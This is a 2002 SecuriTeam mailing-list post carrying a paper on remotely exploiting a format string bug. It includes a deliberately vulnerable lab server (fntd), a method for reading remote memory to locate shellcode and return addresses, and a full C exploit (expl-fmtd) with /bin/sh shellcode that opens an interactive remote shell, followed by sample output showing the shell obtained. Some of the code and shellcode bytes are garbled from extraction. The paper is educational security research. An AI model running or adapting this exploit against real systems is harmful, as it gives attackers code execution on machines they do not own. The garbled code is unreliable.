

[NEWS] How to Remotely and Automatically Exploit a Format Bug

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-05/0019.html>

From: support@securiteam.com

Date: 05/03/02

From: support@securiteam.com

To: list@securiteam.com

Date: Fri, 3 May 2002 14:49:38 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

How to Remotely and Automatically Exploit a Format Bug

SUMMARY

Exploiting a format bug remotely is not as difficult as one would think. The following paper by Fr?d?ric Raynal will try to illustrate a method for remote detection, and successful exploitation of a format string vulnerability remotely and as automatically as possible.

DETAILS

1. Context: the vulnerable server

We will use very minimalist server (but pedagogic) along this paper. It requests a login and password, and then it echoes its inputs. Its code is available in appendix 1.

To install the fntd server, you will have to configure inetd so that connections to port 12345 are allowed:

```
# /etc/inetd.conf
```

```
12345 stream tcp nowait raynal /home/raynal/MISC/2-MISC/RemoteFMT/fntd
```

Or with xinetd:

```
# /etc/xinetd.conf
```

```
service fntd
```

Securiteam: [NEWS] How to Remotely and Automatically Exploit a Format Bug

```
{
type = UNLISTED
user = raynal
group = users
socket_type = stream
protocol = tcp
wait = no
server = /tmp/fmtd
port = 12345
only_from = 192.168.1.1 192.168.1.2 127.0.0.1
}
```

Then restart your server. Do not forget to change the rules of your firewall if you are using one.

Now, let us see how this server is working:

```
$ telnet bosley 12345
Trying 192.168.1.2...
Connected to bosley.
Escape character is '^'.
login: raynal
password: secret
hello world
hello world
^]
```

```
telnet> quit
Connection closed.
```

Let's have a look at the log file:

```
Jan 4 10:49:09 bosley fmtd[877]: login -> read login [raynal^M ] (8) bytes
Jan 4 10:49:14 bosley fmtd[877]: passwd -> read passwd [bffff9d0] (8)
bytes
Jan 4 10:49:56 bosley fmtd[877]: vul() -> error while reading input buf []
(0)
Jan 4 10:49:56 bosley inetd[407]: pid 877: exit status 255
```

During the previous example, we simply enter a login, a password, and a sentence before closing the connection. However, what happens when we feed the server with format instructions:

```
telnet bosley 12345
Trying 192.168.1.2...
Connected to bosley.
Escape character is '^'.
login: raynal
password: secret
%x %x %x %x
d 25207825 78252078 d782520
```

Securiteam: [NEWS] How to Remotely and Automatically Exploit a Format Bug

The instructions "%x %x %x %x" being executed, it shows that our server is vulnerable to a format bug.

<off topic>

In fact, not all programs acting like that are vulnerable to a format bug:

```
int main( int argc, char ** argv )
{
    char buf[8];
    sprintf( buf, argv[1] );
}
```

Using %hn to exploit this leads to an overflow: the formatted string is getting greater and greater, but since no control is performed on its length, an overflow occurs.

</off topic>

Looking at the sources reveals that the troubles come from vul() function:

```
...
    snprintf(tmp, sizeof(tmp)-1, buf);
...
```

Since the buffer <buf> is directly available to a malicious user, the latter is allowed to take control of the server ... and thus gain a shell with the privileges of the server.

2. Requested parameters

The same parameters as a local format bug are required here:

- * The offset to reach the beginning of the buffer.
- * The address of a shellcode placed somewhere in the server's memory.
- * The address of the vulnerable buffer.
- * A return address.

The exploit is provided as example in appendix 2. The following parts of this article explain how it was designed.

Here are some variables used in the exploit:

- * sd: the socket between client (exploit) and the vulnerable server.
- * buf: a buffer to read/write some data.
- * read_at: an address in the server's stack.
- * fmt: format string sent to the server.

2.1 Guessing the offset

This parameter is always necessary for the exploitation of this kind of bug, and its determination works in the same way as with a local exploitation:

```
telnet bosley 12345
Trying 192.168.1.2...
Connected to bosley.
Escape character is '^'.
```

Securiteam: [NEWS] How to Remotely and Automatically Exploit a Format Bug

```
login: raynal
password: secret
AAAA%1$x
AAAAa
AAAA%2$x
AAAA41414141
```

Here, the offset is 2. It is very easy to guess it automatically, and that is what the function `get_offset()` aims at. It sends the string "AAAA%<val>\$x" to the server. If the offset is <val>, then the server answers with the string "AAAA41414141":

```
#define MAXOFFSET 255
for (i = 1; i<MAX_OFFSET && offset == -1; i++) {
    sprintf(fmt, sizeof(fmt), "AAAA%%%d$x", i);
    write(sock, fmt, strlen(fmt));
    memset(buf, 0, sizeof(buf));
    sleep(1);
    read(sock, buf, sizeof(buf))
    if (!strcmp(buf, "AAAA41414141"))
        offset = i;
}
```

2.2 Guessing the address of the shellcode in the stack

If one has to place a shellcode in the memory of the server, it then has to guess its address. It can be placed in the vulnerable buffer, or in any other place: we do not care due to format bug). For instance, some ftp servers allowed to store it in the password (PASS), without too many checks for anonymous or ftp account. Here, our server works that way.

Making a format bug debugger

We aim at finding the address of the shellcode placed in the memory of the server. Therefore, we will transform the remote server in remote debugger. Using the format string "%s", one is allowed to read until the buffer is full or a NULL character is met. Therefore, by sending successively "%s" to the server, the exploit is able to dump locally the memory of the remote process:

```
<addr>%<offset>$s
```

In the exploit, it is performed in 2 steps:

1. The function `get_addr_as_char(u_int addr, char *buf)` converts `addr` into `char`:

```
*(u_int*)buf = addr;
```

2. Then, the next 4 bytes contains the format instruction. The format string is then sent to the remote server:

```
get_addr_as_char(read_at, fmt);
sprintf(fmt+4, sizeof(fmt)-4, "%%%d$s", offset);
write(sd, fmt, strlen(fmt));
```

Securiteam: [NEWS] How to Remotely and Automatically Exploit a Format Bug

The client reads a string at <addr>. If it contains no shellcode, the next reading is performed at this same address, to which one adds the amount of read bytes (i.e. the return value of read()).

However, all the <len> read characters should not be considered. The vulnerable instruction on the server is something like:
sprintf(out, in);

To build the out buffer, sprintf() starts by parsing the <in> string. The first four bytes are the address we intend to read at: they are simply copied to the output buffer. Then, a format instruction is met and interpreted. Hence, we have to remove these 4 bytes:

```
while( (len = read(sd, buf, sizeof(buf))) > 0) {  
    [ ... ]  
    read_at += (len-4+1);  
    [ ... ]  
}
```

What to look for?

Another problem is how to identify the shellcode in memory. If one just looks for all its bytes in the remote memory, there is a risk to miss it. Since the buffer is ended by a NULL byte, the string placed just before can contain many NOPs. Hence, the reading of the shellcode can be split between two readings.

To avoid this, if the amount of read characters is equal to the size of the buffer, the exploit "forgets" the last sizeof(shellcode) bytes read from the server. Thus, the next reading is performed at:

```
while( (len = read(sd, buf, sizeof(buf))) > 0) {  
    [ ... ]  
    read_at += len;  
    if (len == sizeof(buf))  
        read_at -= strlen(shellcode);  
    [ ... ]  
}
```

Guessing the exact address of the shellcode

Pattern matching in a string is performed by the function:

```
ptr = strstr(buf, pattern);
```

It returns a pointer to the parsed string addressing the first byte of the searched pattern. Thus, the position of the shellcode is:

```
addr_shellcode = read_at + (ptr-buf);
```

Except that the buffer contains bytes that we need to ignore. As we have previously noticed while exploring the stack, the first four bytes of the output buffer are in fact the address we just read at:

```
addr_shellcode = read_at + (ptr-buf) - 4;
```

Shellcode: a summary

Sometimes code is worth more than a long explanation:

Securiteam: [NEWS] How to Remotely and Automatically Exploit a Format Bug

```
while( (len = read(sd, buf, sizeof(buf))) > 0) {
    if ((ptr = strstr(buf, shellcode)) {
        addr_shellcode = read_at + (ptr-buf) - 4;
        break;
    }
    read_at += (len-4+1);
    if (len == sizeof(buf)) {
        read_at -= strlen(shellcode);
    }
    memset (buf, 0x0, sizeof (buf));
    get_addr_as_char(read_at, fmt);
    write(sd, fmt, strlen(fmt));
}
```

2.3 Guessing the return address

The last parameter to determine is the return address. We need to find a valid return address in the remote process stack to overwrite it with the one of the shellcode.

We will not explain here how the functions are called in C, but simply remind how variables and parameters are placed in the stack. First, the arguments are placed in the stack from the last one (higher) to the first one (lowest). Then, instructions registers (%eip) is saved on the stack, followed by the base pointer register (%ebp) which indicates the beginning of the memory for the current function. After this address, the memory is used for the local variables. When the function ends, %eip is popped and clean up is made on the stack. This just means that the registers %esp and %ebp are popped according to the calling function. The stack is not cleaned up in any way.

Therefore, our goal is to find a place where the register %eip is saved.

Two steps are used:

1. Find the address of the input buffer
2. Find the return address of the function the vulnerable buffer belongs to.

Why do we need to look for the address of the buffer? Not all pairs (saved ebp, saved eip) that we could find in the stack are good for our purpose. The stack is never really cleaned up between different calls. Therefore, it contains values used for previous calls, even if they will not really be used by the process.

Thus, by first guessing the address of the vulnerable buffer, we have a point above which all pairs (saved ebp, saved eip) are valid since the vulnerable buffer is itself on the top of the stack.

Guessing the address of the buffer

The input buffer is easily identified in the remote memory: it is a mirror for the characters we feed it with. The server fmtfd copies them without any modification (Warning: if some characters were placed by the server before its answer, they should be considered).

Securiteam: [NEWS] How to Remotely and Automatically Exploit a Format Bug

Therefore, we simply have to look at the exact copy of our format string in the server's memory:

```
while((len = read(sd, buf, sizeof(buf))) > 0) {
    if ((ptr = strstr(buf, fmt)) {
        addr_buffer = read_at + (ptr-buf) - 4;
        break;
    }
    read_at += (len-4+1);
    memset (buf, 0x0, sizeof (buf));
    get_addr_as_char(read_at, fmt);
    write(sd, fmt, strlen(fmt));
}
```

Guessing the return address

On most of the Linux distributions, the top of the stack is at 0xc0000000.

This is not true for all the distributions: Caldera put it at 0x80000000.

The space reserved in it depends on the needs of the program (mainly local variables). These are usually placed in the range 0xbfffXXXX, where <XX> is an undefined byte. On the contrary, the instructions of the process (.text section) are loaded from 0x08048000.

Therefore, we have to read the remote stack to find something that looks like:

```
Top of the stack
0x0804XXXX
0xbfffXXXX
```

Due to the little Indian convention, this is equivalent to looking for the string 0xff 0xbf XX XX 0x04 0x08. As we have seen, we do not have to consider the first 4 bytes of the returned string:

```
i = 4;
while (i<len-5 && addr_ret == -1) {
    if (buf[i] == (char)0xff && buf[i+1] == (char)0xbf &&
        buf[i+4] == (char)0x04 && buf[i+5] == (char)0x08) {
        addr_ret = read_at + i - 2 + 4 - 4;
        fprintf (stderr, "[ret addr is: 0x%x (%d) ]\n", addr_ret, len);
    }
    i++;
}
if (addr_ret != -1) break;
```

The variable <addr_ret> is initialized with a very complex formula:

- * addr_ret: the address we just read.
- * +i: the offset in the string we are looking for the pattern (we cannot use strstr() since our pattern has wildcards – undefined bytes XX).
- * -2: the first bytes we discover in the stack are ff bf, but the full word (i.e. saved %ebp) is written on 4 bytes. The -2 is for the 2 "least bytes" placed at the beginning of the word XX XX ff bf.
- * +4: this modification is due to the return address that is 4 bytes above the saved %ebp.
- * -4: as you are probably used to by now, the first 4 bytes that are a

copy of the read address.

3. Exploitation

Since we now have all the requested parameters, the exploitation in itself is not very difficult. We just have to replace the return address of the vulnerable function (`addr_ret`) with the one of the shellcode (`addr_shellcode`). The function `fmbuilder` is taken from [5] and used to build the format string sent to the server:

```
build_hn(buf, addr_ret, addr_shellcode, offset, 0);  
write(sd, buf, strlen(buf));
```

Once the replacement is performed in the remote stack, we just have to return from the `vul()` function. We then send the "quit" command specially intended to that.

```
strcpy(buf, "quit");  
write(sd, buf, strlen(buf));
```

Finally, the function `interact()` plays with the file descriptors to allow us to use the gained shell.

In the next example, the exploit is started from `bosley` to `charly`:

```
$ ./expl-fmtd -i 192.168.1.1 -a 0xbffed01
```

```
Using IP 192.168.1.1
```

```
Connected to 192.168.1.1
```

```
login sent [toto] (4)
```

```
passwd (shellcode) sent (10)
```

```
[Found offset = 6]
```

```
[buffer addr is: 0xbffede0 (12) ]
```

```
buf = (12)
```

```
e0 ed ff bf e0 ed ff bf 25 36 24 73
```

```
[shell addr is: 0xbfff5f0 (60) ]
```

```
buf = (60)
```

```
e5 f5 ff bf 8b 04 08 28 fa ff bf 22 89 04 08 eb 1f 5e 89 76 08
```

```
31 c0 88 46 07 89 46 0c b0 0b 89 f3 8d 4e 08 8d 56 0c cd 80
```

```
31 db 89 d8 40 cd 80 e8 dc ff ff ff 2f 62 69 6e 2f 73 68
```

```
[ret addr is: 0xbfff5ec (60) ]
```

```
Building format string ...
```

```
Sending the quit ...
```

```
bye bye ...
```

```
Linux charly 2.4.17 #1 Mon Dec 31 09:40:49 CET 2001 i686 unknown
```

```
uid=500(raynal) gid=100(users)
```

```
exit
```

```
$
```

4. Conclusion

As we just saw, the automation is not very difficult. The library `fmbuilder` (see the bibliography) also provides the necessary tools for that.

Securiteam: [NEWS] How to Remotely and Automatically Exploit a Format Bug

Here, the exploit starts its reading of the remote memory to an arbitrary value. However, if it is too low, the server crashes. The exploit can be modified to explore the stack from the top to the bottom... but the strategies used to identify some values have then to be slightly adapted. The difficulty seems a bit greater.

The reading then starts from the top of the stack 0xc0000000-4. One has to change the value of the variable `addr_stack`. Moreover, the line `read_at+=len-4+1`; have to be replaced with `read_at-=4`; In this way, the argument `-a` is useless.

The disadvantage of this solution is that the return address is below the input buffer. However, all that is below this buffer comes from function that is no more in the stack: these data are written in a free region of the stack, so they can be modified at any time by the process. Therefore, the search of the return address has to be change (several can be found above the vulnerable buffer ... but we cannot control whether they will be really used).

Appendix 1: the server side `fntd`

```
#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <unistd.h>
#include <stdarg.h>
#include <syslog.h>

void respond(char *fmt,...);

int vul(void)
{
    char tmp[1024];
    char buf[1024];
    int len = 0;

    syslog(LOG_ERR, "vul() -> tmp = 0x%x buf = 0x%x\n", tmp, buf);

    while(1) {

        memset(buf, 0, sizeof(buf));
        memset(tmp, 0, sizeof(tmp));
        if ( (len = read(0, buf, sizeof(buf))) <= 0 ) {
            syslog(LOG_ERR, "vul() -> error while reading input buf [%s] (%d)",
                buf, len);
            exit(-1);
        } /*
        else
            syslog(LOG_INFO, "vul() -> read %d bytes", len);
        */
        if (!strcmp(buf, "quit", 4)) {
            respond("bye bye ...!\n");
        }
    }
}
```

Securiteam: [NEWS] How to Remotely and Automatically Exploit a Format Bug

```
return 0;
}
snprintf(tmp, sizeof(tmp)-1, buf);
respond("%s", tmp);

}
}

void respond(char *fmt,...)
{
va_list va;
char buf[1024];
int len = 0;

va_start(va,fmt);
vsnprintf(buf,sizeof(buf),fmt,va);
va_end(va);
len = write(STDOUT_FILENO,buf,strlen(buf));
/* syslog(LOG_INFO, "respond() -> write %d bytes", len); */
}

int main()
{
struct sockaddr_in sin;
int i,len = sizeof(struct sockaddr_in);
char login[16];
char passwd[1024];
openlog("fmttd", LOG_NDELAY | LOG_PID, LOG_LOCAL0);

/* get login */
memset(login, 0, sizeof(login));
respond("login: ");
if ( (len = read(0, login, sizeof(login))) <= 0 ) {
syslog(LOG_ERR, "login -> error while reading login [%s] (%d)",
login, len);
exit(-1);
} else
syslog(LOG_INFO, "login -> read login [%s] (%d) bytes", login, len);

/* get passwd */
memset(passwd, 0, sizeof(passwd));
respond("password: ");
if ( (len = read(0, passwd, sizeof(passwd))) <= 0 ) {
syslog(LOG_ERR, "passwd -> error while reading passwd [%s] (%d)",
passwd, len);
exit(-1);
} else
syslog(LOG_INFO, "passwd -> read passwd [%x] (%d) bytes", passwd, len);

/* let's run ... */
vul();
```

Securiteam: [NEWS] How to Remotely and Automatically Exploit a Format Bug

```
return 0;
}
```

Appendix 2: the exploit side expl-fmtd

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <getopt.h>

char verbose = 0, debug = 0;

#define OCT( b0, b1, b2, b3, addr, str ) { \
    b0 = (addr >> 24) & 0xff; \
    b1 = (addr >> 16) & 0xff; \
    b2 = (addr >> 8) & 0xff; \
    b3 = (addr) & 0xff; \
    if ( b0 * b1 * b2 * b3 == 0 ) { \
        printf( "\n%s contains a NUL byte. Leaving...\n", str ); \
        exit( EXIT_FAILURE ); \
    } \
}
#define MAX_FMT_LENGTH 128
#define ADD 0x100
#define FOURsizeof( size_t ) * 4
#define TWO sizeof( size_t ) * 2
#define BANNER "uname -a ; id"
#define MAX_OFFSET 255

int interact(int sock)
{
    fd_set fds;
    ssize_t ssize;
    char buffer[1024];

    write(sock, BANNER"\n", sizeof(BANNER));
    while (1) {
        FD_ZERO(&fds);
        FD_SET(STDIN_FILENO, &fds);
        FD_SET(sock, &fds);
        select(sock + 1, &fds, NULL, NULL, NULL);

        if (FD_ISSET(STDIN_FILENO, &fds)) {
            ssize = read(STDIN_FILENO, buffer, sizeof(buffer));
            if (ssize < 0) {
                return(-1);
            }
        }
    }
}
```

Securiteam: [NEWS] How to Remotely and Automatically Exploit a Format Bug

```
if (ssize == 0) {
return(0);
}
write(sock, buffer, ssize);
}

if (FD_ISSET(sock, &fds)) {
ssize = read(sock, buffer, sizeof(buffer));
if (ssize < 0) {
return(-1);
}
if (ssize == 0) {
return(0);
}
write(STDOUT_FILENO, buffer, ssize);
}
}
return(-1);
}

u_long resolve(char *host)
{
struct hostent *he;
u_long ret;

if(!(he = gethostbyname(host)))
{
herror("gethostbyname()");
exit(-1);
}

memcpy(&ret, he->h_addr, sizeof(he->h_addr));
return ret;
}

int
build_hn(char * buf, unsigned int locaddr, unsigned int retaddr, unsigned
int offset, unsigned int base)
{
unsigned char b0, b1, b2, b3;
unsigned int high, low;
int start = ((base / (ADD * ADD)) + 1) * ADD * ADD;
int sz;

/* <locaddr>: where to overwrite */
OCT(b0, b1, b2, b3, locaddr, "[ locaddr ]");
sz = snprintf(buf, TWO + 1, /* 8 char to have the 2 addresses */
"%c%c%c%c"/* + 1 for the ending \0 */
"%c%c%c%c",
b3, b2, b1, b0,
b3 + 2, b2, b1, b0);
```

Securiteam: [NEWS] How to Remotely and Automatically Exploit a Format Bug

```
/* where is our shellcode? */
OCT(b0, b1, b2, b3, retaddr, "[ retaddr ]");
high = (retaddr & 0xffff0000) >> 16;
low = retaddr & 0x0000ffff;

return snprintf(buf + sz, MAX_FMT_LENGTH,
"%%.%hdx%%d%n%.%hdx%%d$hn",
low - TWO + start - base,
offset,
high - low + start,
offset + 1);
}

void get_addr_as_char(u_int addr, char *buf) {

*(u_int*)buf = addr;
if (!buf[0]) buf[0]++;
if (!buf[1]) buf[1]++;
if (!buf[2]) buf[2]++;
if (!buf[3]) buf[3]++;
}

int get_offset(int sock) {

int i, offset = -1, len;
char fmt[128], buf[128];

for (i = 1; i < MAX_OFFSET && offset == -1; i++) {

snprintf(fmt, sizeof(fmt), "AAAA%%d$x", i);
write(sock, fmt, strlen(fmt));
memset(buf, 0, sizeof(buf));
sleep(1);
if ((len = read(sock, buf, sizeof(buf))) < 0) {
fprintf(stderr, "Error while looking for the offset (%d)\n", len);
close(sock);
exit(EXIT_FAILURE);
}

if (debug)
fprintf(stderr, "testing offset = %d fmt = [%s] buf = [%s] len = %d\n",
i, fmt, buf, len);

if (!strcmp(buf, "AAAA41414141"))
offset = i;
}
return offset;
}

char *shellcode =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
```

Securiteam: [NEWS] How to Remotely and Automatically Exploit a Format Bug

```
"\x89\xf3\x8d\xe4\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"  
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
```

```
int main(int argc, char **argv)  
{  
    char *ip = "127.0.0.1", *ptr;  
    struct sockaddr_in sck;  
    u_int read_at, addr_stack = (u_int)0xbffff0001; /* default bottom */  
    u_int addr_shellcode = -1, addr_buffer = -1, addr_ret = -1;  
    char buf[1024], fmt[128], c;  
    int port = 12345, offset = -1;  
    int sd, len, i;  
  
    while ((c = getopt(argc, argv, "dvi:p:a:o:")) != -1) {  
        switch (c) {  
            case 'i':  
                ip = optarg;  
                break;  
  
            case 'p':  
                port = atoi(optarg);  
                break;  
  
            case 'a':  
                addr_stack = strtoul(optarg, NULL, 16);  
                break;  
  
            case 'o':  
                offset = atoi(optarg);  
                break;  
  
            case 'v':  
                verbose = 1;  
                break;  
  
            case 'd':  
                debug = 1;  
                break;  
  
            default:  
                fprintf(stderr, "Unknwon option %c (%d)\n", c, c);  
                exit (EXIT_FAILURE);  
        }  
    }  
  
    /* init the sockaddr_in */  
    fprintf(stderr, "Using IP %s\n", ip);  
    sck.sin_family = PF_INET;  
    sck.sin_addr.s_addr = resolve(ip);  
    sck.sin_port = htons (port);
```

Securiteam: [NEWS] How to Remotely and Automatically Exploit a Format Bug

```
/* open the socket */
if (! (sd = socket (PF_INET, SOCK_STREAM, 0))) {
perror ("socket()");
exit (EXIT_FAILURE);
}

/* connect to the remote server */
if (connect (sd, (struct sockaddr *) &sck, sizeof (sck)) < 0) {
perror ("Connect() ");
exit (EXIT_FAILURE);
}
fprintf (stderr, "Connected to %s\n", ip);
if (debug) sleep(10);

/* send login */
memset (buf, 0x0, sizeof(buf));
len = read(sd, buf, sizeof(buf));
if (strncmp(buf, "login", 5)) {
fprintf(stderr, "Error: no login asked [%s] (%d)\n", buf, len);
close(sd);
exit(EXIT_FAILURE);
}
strcpy(buf, "toto");
len = write (sd, buf, strlen(buf));
if (verbose) fprintf(stderr, "login sent [%s] (%d)\n", buf, len);
sleep(1);

/* passwd: shellcode in the buffer and in the remote stack */
len = read(sd, buf, sizeof(buf));
if (strncmp(buf, "password", 8)) {
fprintf(stderr, "Error: no password asked [%s] (%d)\n", buf, len);
close(sd);
exit(EXIT_FAILURE);
}
write (sd, shellcode, strlen(shellcode));
if (verbose) fprintf (stderr, "passwd (shellcode) sent (%d)\n", len);
sleep(1);

/* find offset */
if (offset == -1) {
if ((offset = get_offset(sd)) == -1) {
fprintf(stderr, "Error: can't find offset\n");
fprintf(stderr, "Please, use the -o arg to specify it.\n");
close(sd);
exit(EXIT_FAILURE);
}
if (verbose) fprintf(stderr, "[Found offset = %d]\n", offset);
}

/* look for the address of the shellcode in the remote stack */
memset (fmt, 0x0, sizeof(fmt));
```

Securiteam: [NEWS] How to Remotely and Automatically Exploit a Format Bug

```
read_at = addr_stack;
get_addr_as_char(read_at, fmt);
snprintf(fmt+4, sizeof(fmt)-4, "%%%d$s", offset);
write(sd, fmt, strlen(fmt));
sleep(1);

while((len = read(sd, buf, sizeof(buf))) > 0 &&
(addr_shellcode == -1 || addr_buffer == -1 || addr_ret == -1) ) {

if (debug) fprintf(stderr, "Read at 0x%x (%d)\n", read_at, len);

/* the shellcode */
if ((ptr = strstr(buf, shellcode)) ) {
    addr_shellcode = read_at + (ptr-buf) - 4;
    fprintf(stderr, "[shell addr is: 0x%x (%d) ]\n", addr_shellcode, len);
    fprintf(stderr, "buf = (%d)\n", len);
    for (i=0; i<len; i++) {
        fprintf(stderr, "%.2x ", (int)(buf[i] & 0xff));
        if (i && i%20 == 0) fprintf(stderr, "\n");
    }
    fprintf(stderr, "\n");
}

/* the input buffer */
if (addr_buffer == -1 && (ptr = strstr(buf, fmt)) ) {
    addr_buffer = read_at + (ptr-buf) - 4;
    fprintf(stderr, "[buffer addr is: 0x%x (%d) ]\n", addr_buffer, len);
    fprintf(stderr, "buf = (%d)\n", len);
    for (i=0; i<len; i++) {
        fprintf(stderr, "%.2x ", (int)(buf[i] & 0xff));
        if (i && i%20 == 0) fprintf(stderr, "\n");
    }
    fprintf(stderr, "\n\n");
}

/* return address */
if (addr_buffer != -1) {
    i = 4;
    while (i<len-5 && addr_ret == -1) {
        if (buf[i] == (char)0xff && buf[i+1] == (char)0xbf &&
            buf[i+4] == (char)0x04 && buf[i+5] == (char)0x08) {
            addr_ret = read_at + i - 2 + 4 - 4;
            fprintf(stderr, "[ret addr is: 0x%x (%d) ]\n", addr_ret, len);
        }
        i++;
    }
}

read_at += (len-4+1);
if (len == sizeof(buf)) {
    fprintf(stderr, "Warning: this has not been tested !!!\n");
}
```

Securiteam: [NEWS] How to Remotely and Automatically Exploit a Format Bug

```
fprintf(stderr, "len = %d\nread_at = 0x%x", len, read_at);
read_at -= strlen(shellcode);
}
get_addr_as_char(read_at, fmt);
write(sd, fmt, strlen(fmt));
}

/* send the format string */
fprintf(stderr, "Building format string ...\n");
memset(buf, 0, sizeof(buf));
build_hn(buf, addr_ret, addr_shellcode, offset, 0);
write(sd, buf, strlen(buf));
sleep(1);
read(sd, buf, sizeof(buf));

/* call the return while quitting */
fprintf(stderr, "Sending the quit ...\n");
strcpy(buf, "quit");
write(sd, buf, strlen(buf));
sleep(1);

interact(sd);

close(sd);
return 0;
}
```

ADDITIONAL INFORMATION

Bibliography

1. More info on format bugs par P. "kalou" Bouchareine (
<<http://www.hert.org/papers/format.html>>
<http://www.hert.org/papers/format.html>)
2. Format Bugs: What are they, Where did they come from,... How to exploit them par <mailto:lamagra@digibel.org> lamagra
3. Éviter les failles de sécurité de développement d'une application –
- 4: les chaînes de format par F. Raynal, C. Grenier, C. Blaess (
<<http://minimum.inria.fr/~raynal/index.php3?page=121>>
<http://minimum.inria.fr/~raynal/index.php3?page=121> ou
<<http://www.linuxfocus.org/Francais/July2001/article191.shtml>>
<http://www.linuxfocus.org/Francais/July2001/article191.shtml>)
4. Exploiting the format string vulnerabilities par scut (team TESO) (
<<http://www.team-teso.net/articles/formatstring>>
<http://www.team-teso.net/articles/formatstring>)
5. fmbuilder-howto par F. Raynal et S. Dralet (
<<http://minimum.inria.fr/~raynal/index.php3?page=501>>
<http://minimum.inria.fr/~raynal/index.php3?page=501>)

Securiteam: [NEWS] How to Remotely and Automatically Exploit a Format Bug

The information has been provided by ">Frederic Raynal – .

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- **Previous message:** support@securiteam.com: "[\[EXPL\] LabVIEW Web Server DoS Vulnerability Exploit Code Released](#)"
 - **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)